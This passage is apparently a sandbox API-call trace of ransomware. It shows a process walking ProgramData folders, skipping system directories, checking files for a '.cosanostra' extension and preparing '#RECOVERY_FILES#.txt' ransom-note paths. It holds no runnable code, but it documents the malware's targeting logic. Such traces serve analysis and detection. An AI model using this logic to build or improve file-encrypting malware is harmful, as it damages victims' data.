lstrlenW (lpString="Program Files (x86)") returned 19 [0079.714] lstrcmpiW (lpString1="ringtones.ico", lpString2="$Recycle.bin") returned 1 [0079.714] lstrlenW (lpString="$Recycle.bin") returned 12 [0079.714] lstrcmpiW (lpString1="ringtones.ico", lpString2="System Volume Information") returned -1 [0079.714] lstrlenW (lpString="System Volume Information") returned 25 [0079.714] wnsprintfW (in: pszDest=0x29e168, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\ringtones.ico") returned 99 [0079.714] StrStrIW (lpFirst="ringtones.ico", lpSrch=".cosanostra") returned 0x0 [0079.714] lstrcmpW (lpString1="ringtones.ico", lpString2="#RECOVERY_FILES#.txt") returned 1 [0079.714] lstrcmpW (lpString1="ringtones.ico", lpString2="_uninstalling_.png") returned 1 [0079.714] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\ringtones.ico") returned 99 [0079.714] FindNextFileW (in: hFindFile=0x25a870, lpFindFileData=0x2cfe868 | out: lpFindFileData=0x2cfe868) returned 1 [0079.714] lstrcmpiW (lpString1="settings.ico", lpString2="Windows") returned -1 [0079.714] lstrlenW (lpString="Windows") returned 7 [0079.714] lstrcmpiW (lpString1="settings.ico", lpString2="Program Files") returned 1 [0079.714] lstrlenW (lpString="Program Files") returned 13 [0079.714] lstrcmpiW (lpString1="settings.ico", lpString2="Program Files (x86)") returned 1 [0079.714] lstrlenW (lpString="Program Files (x86)") returned 19 [0079.714] lstrcmpiW (lpString1="settings.ico", lpString2="$Recycle.bin") returned 1 [0079.714] lstrlenW (lpString="$Recycle.bin") returned 12 [0079.714] lstrcmpiW (lpString1="settings.ico", lpString2="System Volume Information") returned -1 [0079.714] lstrlenW (lpString="System Volume Information") returned 25 [0079.714] wnsprintfW (in: pszDest=0x29e168, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\settings.ico") returned 98 [0079.714] StrStrIW (lpFirst="settings.ico", lpSrch=".cosanostra") returned 0x0 [0079.714] lstrcmpW (lpString1="settings.ico", lpString2="#RECOVERY_FILES#.txt") returned 1 [0079.714] lstrcmpW (lpString1="settings.ico", lpString2="_uninstalling_.png") returned 1 [0079.714] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\settings.ico") returned 98 [0079.715] FindNextFileW (in: hFindFile=0x25a870, lpFindFileData=0x2cfe868 | out: lpFindFileData=0x2cfe868) returned 1 [0079.715] lstrcmpiW (lpString1="sync.ico", lpString2="Windows") returned -1 [0079.715] lstrlenW (lpString="Windows") returned 7 [0079.715] lstrcmpiW (lpString1="sync.ico", lpString2="Program Files") returned 1 [0079.715] lstrlenW (lpString="Program Files") returned 13 [0079.715] lstrcmpiW (lpString1="sync.ico", lpString2="Program Files (x86)") returned 1 [0079.715] lstrlenW (lpString="Program Files (x86)") returned 19 [0079.715] lstrcmpiW (lpString1="sync.ico", lpString2="$Recycle.bin") returned 1 [0079.715] lstrlenW (lpString="$Recycle.bin") returned 12 [0079.715] lstrcmpiW (lpString1="sync.ico", lpString2="System Volume Information") returned -1 [0079.715] lstrlenW (lpString="System Volume Information") returned 25 [0079.715] wnsprintfW (in: pszDest=0x29e168, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\sync.ico") returned 94 [0079.715] StrStrIW (lpFirst="sync.ico", lpSrch=".cosanostra") returned 0x0 [0079.715] lstrcmpW (lpString1="sync.ico", lpString2="#RECOVERY_FILES#.txt") returned 1 [0079.715] lstrcmpW (lpString1="sync.ico", lpString2="_uninstalling_.png") returned 1 [0079.715] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\sync.ico") returned 94 [0079.715] FindNextFileW (in: hFindFile=0x25a870, lpFindFileData=0x2cfe868 | out: lpFindFileData=0x2cfe868) returned 1 [0079.715] lstrcmpiW (lpString1="tasks.xml", lpString2="Windows") returned -1 [0079.715] lstrlenW (lpString="Windows") returned 7 [0079.715] lstrcmpiW (lpString1="tasks.xml", lpString2="Program Files") returned 1 [0079.715] lstrlenW (lpString="Program Files") returned 13 [0079.715] lstrcmpiW (lpString1="tasks.xml", lpString2="Program Files (x86)") returned 1 [0079.715] lstrlenW (lpString="Program Files (x86)") returned 19 [0079.715] lstrcmpiW (lpString1="tasks.xml", lpString2="$Recycle.bin") returned 1 [0079.715] lstrlenW (lpString="$Recycle.bin") returned 12 [0079.715] lstrcmpiW (lpString1="tasks.xml", lpString2="System Volume Information") returned 1 [0079.715] lstrlenW (lpString="System Volume Information") returned 25 [0079.715] wnsprintfW (in: pszDest=0x29e168, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\tasks.xml") returned 95 [0079.715] StrStrIW (lpFirst="tasks.xml", lpSrch=".cosanostra") returned 0x0 [0079.715] lstrcmpW (lpString1="tasks.xml", lpString2="#RECOVERY_FILES#.txt") returned 1 [0079.715] lstrcmpW (lpString1="tasks.xml", lpString2="_uninstalling_.png") returned 1 [0079.715] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\tasks.xml") returned 95 [0079.715] FindNextFileW (in: hFindFile=0x25a870, lpFindFileData=0x2cfe868 | out: lpFindFileData=0x2cfe868) returned 1 [0079.715] lstrcmpiW (lpString1="wmp.ico", lpString2="Windows") returned 1 [0079.715] lstrlenW (lpString="Windows") returned 7 [0079.715] lstrcmpiW (lpString1="wmp.ico", lpString2="Program Files") returned 1 [0079.715] lstrlenW (lpString="Program Files") returned 13 [0079.715] lstrcmpiW (lpString1="wmp.ico", lpString2="Program Files (x86)") returned 1 [0079.715] lstrlenW (lpString="Program Files (x86)") returned 19 [0079.715] lstrcmpiW (lpString1="wmp.ico", lpString2="$Recycle.bin") returned 1 [0079.715] lstrlenW (lpString="$Recycle.bin") returned 12 [0079.715] lstrcmpiW (lpString1="wmp.ico", lpString2="System Volume Information") returned 1 [0079.715] lstrlenW (lpString="System Volume Information") returned 25 [0079.715] wnsprintfW (in: pszDest=0x29e168, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\wmp.ico") returned 93 [0079.715] StrStrIW (lpFirst="wmp.ico", lpSrch=".cosanostra") returned 0x0 [0079.715] lstrcmpW (lpString1="wmp.ico", lpString2="#RECOVERY_FILES#.txt") returned 1 [0079.715] lstrcmpW (lpString1="wmp.ico", lpString2="_uninstalling_.png") returned 1 [0079.716] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\wmp.ico") returned 93 [0079.716] FindNextFileW (in: hFindFile=0x25a870, lpFindFileData=0x2cfe868 | out: lpFindFileData=0x2cfe868) returned 0 [0079.716] FindClose (in: hFindFile=0x25a870 | out: hFindFile=0x25a870) returned 1 [0079.716] wnsprintfW (in: pszDest=0x29e168, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\#RECOVERY_FILES#.txt") returned 106 [0079.716] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\#RECOVERY_FILES#.txt") returned 106 [0079.716] FindNextFileW (in: hFindFile=0x25a830, lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 1 [0079.716] lstrcmpiW (lpString1="{e35be42d-f742-4d96-a50a-1775fb1a7a42}", lpString2="Windows") returned -1 [0079.716] lstrlenW (lpString="Windows") returned 7 [0079.716] lstrcmpiW (lpString1="{e35be42d-f742-4d96-a50a-1775fb1a7a42}", lpString2="Program Files") returned -1 [0079.716] lstrlenW (lpString="Program Files") returned 13 [0079.716] lstrcmpiW (lpString1="{e35be42d-f742-4d96-a50a-1775fb1a7a42}", lpString2="Program Files (x86)") returned -1 [0079.716] lstrlenW (lpString="Program Files (x86)") returned 19 [0079.716] lstrcmpiW (lpString1="{e35be42d-f742-4d96-a50a-1775fb1a7a42}", lpString2="$Recycle.bin") returned 1 [0079.716] lstrlenW (lpString="$Recycle.bin") returned 12 [0079.716] lstrcmpiW (lpString1="{e35be42d-f742-4d96-a50a-1775fb1a7a42}", lpString2="System Volume Information") returned -1 [0079.716] lstrlenW (lpString="System Volume Information") returned 25 [0079.716] wnsprintfW (in: pszDest=0x28e120, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}") returned 85 [0079.716] lstrcmpW (lpString1="{e35be42d-f742-4d96-a50a-1775fb1a7a42}", lpString2=".") returned 1 [0079.716] lstrcmpW (lpString1="{e35be42d-f742-4d96-a50a-1775fb1a7a42}", lpString2="..") returned 1 [0079.716] wnsprintfW (in: pszDest=0x29e168, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\*") returned 87 [0079.716] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\*", lpFindFileData=0x2cfe868 | out: lpFindFileData=0x2cfe868) returned 0x25a870 [0079.717] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1 [0079.717] lstrlenW (lpString="Windows") returned 7 [0079.717] lstrcmpiW (lpString1=".", lpString2="Program Files") returned -1 [0079.717] lstrlenW (lpString="Program Files") returned 13 [0079.717] lstrcmpiW (lpString1=".", lpString2="Program Files (x86)") returned -1 [0079.717] lstrlenW (lpString="Program Files (x86)") returned 19 [0079.717] lstrcmpiW (lpString1=".", lpString2="$Recycle.bin") returned 1 [0079.718] lstrlenW (lpString="$Recycle.bin") returned 12 [0079.718] lstrcmpiW (lpString1=".", lpString2="System Volume Information") returned -1 [0079.718] lstrlenW (lpString="System Volume Information") returned 25 [0079.718] wnsprintfW (in: pszDest=0x29e168, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\.") returned 87 [0079.718] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0079.718] FindNextFileW (in: hFindFile=0x25a870, lpFindFileData=0x2cfe868 | out: lpFindFileData=0x2cfe868) returned 1 [0079.718] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1 [0079.718] lstrlenW (lpString="Windows") returned 7 [0079.718] lstrcmpiW (lpString1="..", lpString2="Program Files") returned -1 [0079.718] lstrlenW (lpString="Program Files") returned 13 [0079.718] lstrcmpiW (lpString1="..", lpString2="Program Files (x86)") returned -1 [0079.718] lstrlenW (lpString="Program Files (x86)") returned 19 [0079.718] lstrcmpiW (lpString1="..", lpString2="$Recycle.bin") returned 1 [0079.718] lstrlenW (lpString="$Recycle.bin") returned 12 [0079.718] lstrcmpiW (lpString1="..", lpString2="System Volume Information") returned -1 [0079.718] lstrlenW (lpString="System Volume Information") returned 25 [0079.718] wnsprintfW (in: pszDest=0x29e168, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\..") returned 88 [0079.718] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0079.718] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0079.718] FindNextFileW (in: hFindFile=0x25a870, lpFindFileData=0x2cfe868 | out: lpFindFileData=0x2cfe868) returned 1 [0079.718] lstrcmpiW (lpString1="en-US", lpString2="Windows") returned -1 [0079.718] lstrlenW (lpString="Windows") returned 7 [0079.718] lstrcmpiW (lpString1="en-US", lpString2="Program Files") returned -1 [0079.718] lstrlenW (lpString="Program Files") returned 13 [0079.718] lstrcmpiW (lpString1="en-US", lpString2="Program Files (x86)") returned -1 [0079.718] lstrlenW (lpString="Program Files (x86)") returned 19 [0079.718] lstrcmpiW (lpString1="en-US", lpString2="$Recycle.bin") returned 1 [0079.718] lstrlenW (lpString="$Recycle.bin") returned 12 [0079.718] lstrcmpiW (lpString1="en-US", lpString2="System Volume Information") returned -1 [0079.718] lstrlenW (lpString="System Volume Information") returned 25 [0079.718] wnsprintfW (in: pszDest=0x29e168, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US") returned 91 [0079.718] lstrcmpW (lpString1="en-US", lpString2=".") returned 1 [0079.718] lstrcmpW (lpString1="en-US", lpString2="..") returned 1 [0079.719] wnsprintfW (in: pszDest=0x2ae1b0, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\*") returned 93 [0079.719] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\*", lpFindFileData=0x2cfe4c8 | out: lpFindFileData=0x2cfe4c8) returned 0x25a8b0 [0079.719] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1 [0079.719] lstrlenW (lpString="Windows") returned 7 [0079.719] lstrcmpiW (lpString1=".", lpString2="Program Files") returned -1 [0079.719] lstrlenW (lpString="Program Files") returned 13 [0079.719] lstrcmpiW (lpString1=".", lpString2="Program Files (x86)") returned -1 [0079.719] lstrlenW (lpString="Program Files (x86)") returned 19 [0079.719] lstrcmpiW (lpString1=".", lpString2="$Recycle.bin") returned 1 [0079.719] lstrlenW (lpString="$Recycle.bin") returned 12 [0079.719] lstrcmpiW (lpString1=".", lpString2="System Volume Information") returned -1 [0079.719] lstrlenW (lpString="System Volume Information") returned 25 [0079.719] wnsprintfW (in: pszDest=0x2ae1b0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\.") returned 93 [0079.719] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0079.719] FindNextFileW (in: hFindFile=0x25a8b0, lpFindFileData=0x2cfe4c8 | out: lpFindFileData=0x2cfe4c8) returned 1 [0079.719] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1 [0079.719] lstrlenW (lpString="Windows") returned 7 [0079.719] lstrcmpiW (lpString1="..", lpString2="Program Files") returned -1 [0079.719] lstrlenW (lpString="Program Files") returned 13 [0079.719] lstrcmpiW (lpString1="..", lpString2="Program Files (x86)") returned -1 [0079.719] lstrlenW (lpString="Program Files (x86)") returned 19 [0079.719] lstrcmpiW (lpString1="..", lpString2="$Recycle.bin") returned 1 [0079.719] lstrlenW (lpString="$Recycle.bin") returned 12 [0079.719] lstrcmpiW (lpString1="..", lpString2="System Volume Information") returned -1 [0079.719] lstrlenW (lpString="System Volume Information") returned 25 [0079.719] wnsprintfW (in: pszDest=0x2ae1b0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\..") returned 94 [0079.719] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0079.719] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0079.719] FindNextFileW (in: hFindFile=0x25a8b0, lpFindFileData=0x2cfe4c8 | out: lpFindFileData=0x2cfe4c8) returned 1 [0079.719] lstrcmpiW (lpString1="resource.xml", lpString2="Windows") returned -1 [0079.719] lstrlenW (lpString="Windows") returned 7 [0079.719] lstrcmpiW (lpString1="resource.xml", lpString2="Program Files") returned 1 [0079.720] lstrlenW (lpString="Program Files") returned 13 [0079.720] lstrcmpiW (lpString1="resource.xml", lpString2="Program Files (x86)") returned 1 [0079.720] lstrlenW (lpString="Program Files (x86)") returned 19 [0079.720] lstrcmpiW (lpString1="resource.xml", lpString2="$Recycle.bin") returned 1 [0079.720] lstrlenW (lpString="$Recycle.bin") returned 12 [0079.720] lstrcmpiW (lpString1="resource.xml", lpString2="System Volume Information") returned -1 [0079.720] lstrlenW (lpString="System Volume Information") returned 25 [0079.720] wnsprintfW (in: pszDest=0x2ae1b0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\resource.xml") returned 104 [0079.720] StrStrIW (lpFirst="resource.xml", lpSrch=".cosanostra") returned 0x0 [0079.720] lstrcmpW (lpString1="resource.xml", lpString2="#RECOVERY_FILES#.txt") returned 1 [0079.720] lstrcmpW (lpString1="resource.xml", lpString2="_uninstalling_.png") returned 1 [0079.720] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\resource.xml") returned 104 [0079.720] FindNextFileW (in: hFindFile=0x25a8b0, lpFindFileData=0x2cfe4c8 | out: lpFindFileData=0x2cfe4c8) returned 0 [0079.720] FindClose (in: hFindFile=0x25a8b0 | out: hFindFile=0x25a8b0) returned 1 [0079.720] wnsprintfW (in: pszDest=0x2ae1b0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\#RECOVERY_FILES#.txt") returned 112 [0079.720] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\#RECOVERY_FILES#.txt") returned 112 [0079.720] FindNextFileW (in: hFindFile=0x25a870, lpFindFileData=0x2cfe868 | out: lpFindFileData=0x2cfe868) returned 1 [0079.720] lstrcmpiW (lpString1="folder.ico", lpString2="Windows") returned -1 [0079.720] lstrlenW (lpString="Windows") returned 7 [0079.720] lstrcmpiW (lpString1="folder.ico", lpString2="Program Files") returned -1 [0079.720] lstrlenW (lpString="Program Files") returned 13 [0079.720] lstrcmpiW (lpString1="folder.ico", lpString2="Program Files (x86)") returned -1 [0079.720] lstrlenW (lpString="Program Files (x86)") returned 19 [0079.720] lstrcmpiW (lpString1="folder.ico", lpString2="$Recycle.bin") returned 1 [0079.720] lstrlenW (lpString="$Recycle.bin") returned 12 [0079.720] lstrcmpiW (lpString1="folder.ico", lpString2="System Volume Information") returned -1 [0079.720] lstrlenW (lpString="System Volume Information") returned 25 [0079.720] wnsprintfW (in: pszDest=0x29e168, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\folder.ico") returned 96 [0079.720] StrStrIW (lpFirst="folder.ico", lpSrch=".cosanostra") returned 0x0 [0079.720] lstrcmpW (lpString1="folder.ico", lpString2="#RECOVERY_FILES#.txt") returned 1 [0079.720] lstrcmpW (lpString1="folder.ico", lpString2="_uninstalling_.png") returned 1 [0079.720] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\folder.ico") returned 96 [0079.720] FindNextFileW (in: hFindFile=0x25a870, lpFindFileData=0x2cfe868 | out: lpFindFileData=0x2cfe868) returned 1 [0079.720] lstrcmpiW (lpString1="print_pref.ico", lpString2="Windows") returned -1 [0079.720] lstrlenW (lpString="Windows") returned 7 [0079.720] lstrcmpiW (lpString1="print_pref.ico", lpString2="Program Files") returned -1 [0079.720] lstrlenW (lpString="Program Files") returned 13 [0079.720] lstrcmpiW (lpString1="print_pref.ico", lpString2="Program Files (x86)") returned -1 [0079.720] lstrlenW (lpString="Program Files (x86)") returned 19 [0079.720] lstrcmpiW (lpString1="print_pref.ico", lpString2="$Recycle.bin") returned 1 [0079.720] lstrlenW (lpString="$Recycle.bin") returned 12 [0079.720] lstrcmpiW (lpString1="print_pref.ico", lpString2="System Volume Information") returned -1 [0079.720] lstrlenW (lpString="System Volume Information") returned 25 [0079.720] wnsprintfW (in: pszDest=0x29e168, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\print_pref.ico") returned 100 [0079.720] StrStrIW (lpFirst="print_pref.ico", lpSrch=".cosanostra") returned 0x0 [0079.720] lstrcmpW (lpString1="print_pref.ico", lpString2="#RECOVERY_FILES#.txt") returned 1 [0079.720] lstrcmpW (lpString1="print_pref.ico", lpString2="_uninstalling_.png") returned 1 [0079.721] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\print_pref.ico") returned 100 [0079.721] FindNextFileW (in: hFindFile=0x25a870, lpFindFileData=0x2cfe868 | out: lpFindFileData=0x2cfe868) returned 1 [0079.721] lstrcmpiW (lpString1="print_property.ico", lpString2="Windows") returned -1 [0079.721] lstrlenW (lpString="Windows") returned 7 [0079.721] lstrcmpiW (lpString1="print_property.ico", lpString2="Program Files") returned -1 [0079.721] lstrlenW (lpString="Program Files") returned 13 [0079.721] lstrcmpiW (lpString1="print_property.ico", lpString2="Program Files (x86)") returned -1 [0079.721] lstrlenW (lpString="Program Files (x86)") returned 19 [0079.721] lstrcmpiW (lpString1="print_property.ico", lpString2="$Recycle.bin") returned 1 [0079.721] lstrlenW (lpString="$Recycle.bin") returned 12 [0079.721] lstrcmpiW (lpString1="print_property.ico", lpString2="System Volume Information") returned -1 [0079.721] lstrlenW (lpString="System Volume Information") returned 25 [0079.721] wnsprintfW (in: pszDest=0x29e168, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\print_property.ico") returned 104 [0079.721] StrStrIW (lpFirst="print_property.ico", lpSrch=".cosanostra") returned 0x0 [0079.721] lstrcmpW (lpString1="print_property.ico", lpString2="#RECOVERY_FILES#.txt") returned 1 [0079.721] lstrcmpW (lpString1="print_property.ico", lpString2="_uninstalling_.png") returned 1 [0079.721] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\print_property.ico") returned 104 [0079.721] FindNextFileW (in: hFindFile=0x25a870, lpFindFileData=0x2cfe868 | out: lpFindFileData=0x2cfe868) returned 1 [0079.721] lstrcmpiW (lpString1="print_queue.ico", lpString2="Windows") returned -1 [0079.721] lstrlenW (lpString="Windows") returned 7 [0079.721] lstrcmpiW (lpString1="print_queue.ico", lpString2="Program Files") returned -1 [0079.721] lstrlenW (lpString="Program Files") returned 13 [0079.721] lstrcmpiW (lpString1="print_queue.ico", lpString2="Program Files (x86)") returned -1 [0079.721] lstrlenW (lpString="Program Files (x86)") returned 19 [0079.721] lstrcmpiW (lpString1="print_queue.ico", lpString2="$Recycle.bin") returned 1 [0079.721] lstrlenW (lpString="$Recycle.bin") returned 12 [0079.721] lstrcmpiW (lpString1="print_queue.ico", lpString2="System Volume Information") returned -1 [0079.721] lstrlenW (lpString="System Volume Information") returned 25 [0079.721] wnsprintfW (in: pszDest=0x29e168, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\print_queue.ico") returned 101 [0079.721] StrStrIW (lpFirst="print_queue.ico", lpSrch=".cosanostra") returned 0x0 [0079.721] lstrcmpW (lpString1="print_queue.ico", lpString2="#RECOVERY_FILES#.txt") returned 1 [0079.721] lstrcmpW (lpString1="print_queue.ico", lpString2="_uninstalling_.png") returned 1 [0079.721] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\print_queue.ico") returned 101 [0079.721] FindNextFileW (in: hFindFile=0x25a870, lpFindFileData=0x2cfe868 | out: lpFindFileData=0x2cfe868) returned 1 [0079.721] lstrcmpiW (lpString1="scan_.ico", lpString2="Windows") returned -1 [0079.721] lstrlenW (lpString="Windows") returned 7 [0079.721] lstrcmpiW (lpString1="scan_.ico", lpString2="Program Files") returned 1 [0079.721] lstrlenW (lpString="Program Files") returned 13 [0079.721] lstrcmpiW (lpString1="scan_.ico", lpString2="Program Files (x86)") returned 1 [0079.721] lstrlenW (lpString="Program Files (x86)") returned 19 [0079.721] lstrcmpiW (lpString1="scan_.ico", lpString2="$Recycle.bin") returned 1 [0079.721] lstrlenW (lpString="$Recycle.bin") returned 12 [0079.721] lstrcmpiW (lpString1="scan_.ico", lpString2="System Volume Information") returned -1 [0079.721] lstrlenW (lpString="System Volume Information") returned 25 [0079.721] wnsprintfW (in: pszDest=0x29e168, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\scan_.ico") returned 95 [0079.721] StrStrIW (lpFirst="scan_.ico", lpSrch=".cosanostra") returned 0x0 [0079.721] lstrcmpW (lpString1="scan_.ico", lpString2="#RECOVERY_FILES#.txt") returned 1 [0079.721] lstrcmpW (lpString1="scan_.ico", lpString2="_uninstalling_.png") returned 1 [0079.721] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\scan_.ico") returned 95 [0079.721] FindNextFileW (in: hFindFile=0x25a870, lpFindFileData=0x2cfe868 | out: lpFindFileData=0x2cfe868) returned 1 [0079.722] lstrcmpiW (lpString1="scan_property.ico", lpString2="Windows") returned -1 [0079.722] lstrlenW (lpString="Windows") returned 7 [0079.722] lstrcmpiW (lpString1="scan_property.ico", lpString2="Program Files") returned 1 [0079.722] lstrlenW (lpString="Program Files") returned 13 [0079.722] lstrcmpiW (lpString1="scan_property.ico", lpString2="Program Files (x86)") returned 1 [0079.722] lstrlenW (lpString="Program Files (x86)") returned 19 [0079.722] lstrcmpiW (lpString1="scan_property.ico", lpString2="$Recycle.bin") returned 1 [0079.722] lstrlenW (lpString="$Recycle.bin") returned 12 [0079.722] lstrcmpiW (lpString1="scan_property.ico", lpString2="System Volume Information") returned -1 [0079.722] lstrlenW (lpString="System Volume Information") returned 25 [0079.722] wnsprintfW (in: pszDest=0x29e168, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\scan_property.ico") returned 103 [0079.722] StrStrIW (lpFirst="scan_property.ico", lpSrch=".cosanostra") returned 0x0 [0079.722] lstrcmpW (lpString1="scan_property.ico", lpString2="#RECOVERY_FILES#.txt") returned 1 [0079.722] lstrcmpW (lpString1="scan_property.ico", lpString2="_uninstalling_.png") returned 1 [0079.722] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\scan_property.ico") returned 103 [0079.722] FindNextFileW (in: hFindFile=0x25a870, lpFindFileData=0x2cfe868 | out: lpFindFileData=0x2cfe868) returned 1 [0079.722] lstrcmpiW (lpString1="scan_settings.ico", lpString2="Windows") returned -1 [0079.722] lstrlenW (lpString="Windows") returned 7 [0079.722] lstrcmpiW (lpString1="scan_settings.ico", lpString2="Program Files") returned 1 [0079.722] lstrlenW (lpString="Program Files") returned 13 [0079.722] lstrcmpiW (lpString1="scan_settings.ico", lpString2="Program Files (x86)") returned 1 [0079.722] lstrlenW (lpString="Program Files (x86)") returned 19 [0079.722] lstrcmpiW (lpString1="scan_settings.ico", lpString2="$Recycle.bin") returned 1 [0079.722] lstrlenW (lpString="$Recycle.bin") returned 12 [0079.722] lstrcmpiW (lpString1="scan_settings.ico", lpString2="System Volume Information") returned -1 [0079.722] lstrlenW (lpString="System Volume Information") returned 25 [0079.722] wnsprintfW (in: pszDest=0x29e168, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\scan_settings.ico") returned 103 [0079.722] StrStrIW (lpFirst="scan_settings.ico", lpSrch=".cosanostra") returned 0x0 [0079.722] lstrcmpW 